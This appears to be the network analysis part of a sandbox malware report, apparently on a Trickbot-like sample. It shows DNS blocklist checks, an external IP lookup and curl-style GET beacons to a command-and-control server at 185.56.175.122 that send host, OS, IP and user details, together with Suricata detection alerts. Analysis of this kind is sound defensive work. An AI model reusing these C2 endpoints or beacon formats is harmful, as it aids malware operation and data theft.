Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| 150.134.208.175.b.barracudacentral.org | 127.0.0.2 | |
| 150.134.208.175.zen.spamhaus.org | ||
| api.ipify.org | 54.235.188.103 | |
| 150.134.208.175.cbl.abuseat.org |
- UDP Requests
-
-
192.168.56.101:54056 164.124.101.2:53
-
192.168.56.101:55450 164.124.101.2:53
-
192.168.56.101:59369 164.124.101.2:53
-
192.168.56.101:61479 164.124.101.2:53
-
192.168.56.101:62324 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:49152 239.255.255.250:3702
-
192.168.56.101:62325 239.255.255.250:3702
-
192.168.56.101:62445 239.255.255.250:1900
-
192.168.56.101:62447 239.255.255.250:3702
-
192.168.56.101:62449 239.255.255.250:3702
-
52.231.114.183:123 192.168.56.101:123
-
GET
200
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/5/file/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/5/file/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:35 GMT
Content-Type: application/octet-stream
Content-Length: 224
Connection: keep-alive
GET
200
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/GRNKLdJfQOG57mLhT/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/GRNKLdJfQOG57mLhT/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:36 GMT
Content-Type: text/plain
Content-Length: 721
Connection: keep-alive
GET
200
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/user/test22/0/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/user/test22/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:37 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5Cwise-toolsQQO0WX%5Csvzoomfg.grf/0/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5Cwise-toolsQQO0WX%5Csvzoomfg.grf/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:37 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
404
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/23/100019/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/23/100019/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:37 GMT
Content-Length: 9
Connection: keep-alive
GET
200
https://185.56.175.122/rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/DNSBL/listed/0/
REQUEST
RESPONSE
BODY
GET /rob119/TEST22-PC_W617601.456BB1605131C7BB14DF183E3BBE59FD/14/DNSBL/listed/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 04 Aug 2021 00:56:38 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
http://api.ipify.org/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.74.0
Host: api.ipify.org
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
Content-Type: text/plain
Vary: Origin
Date: Wed, 04 Aug 2021 00:56:36 GMT
Content-Length: 15
Via: 1.1 vegur
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49203 -> 185.56.175.122:443 | 2028401 | ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex | Unknown Traffic |
| TCP 185.56.175.122:443 -> 192.168.56.101:49203 | 2011540 | ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O) | Not Suspicious Traffic |
| TCP 192.168.56.101:49204 -> 54.225.219.20:80 | 2013028 | ET POLICY curl User-Agent Outbound | Attempted Information Leak |
| TCP 192.168.56.101:49204 -> 54.225.219.20:80 | 2021997 | ET POLICY External IP Lookup api.ipify.org | Device Retrieving External IP Address Detected |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.101:49203 185.56.175.122:443 |
C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | 50:fd:fd:4e:2c:57:ea:f7:c9:cd:3f:61:4a:a2:40:01:1b:b8:df:02 |
Snort Alerts
No Snort Alerts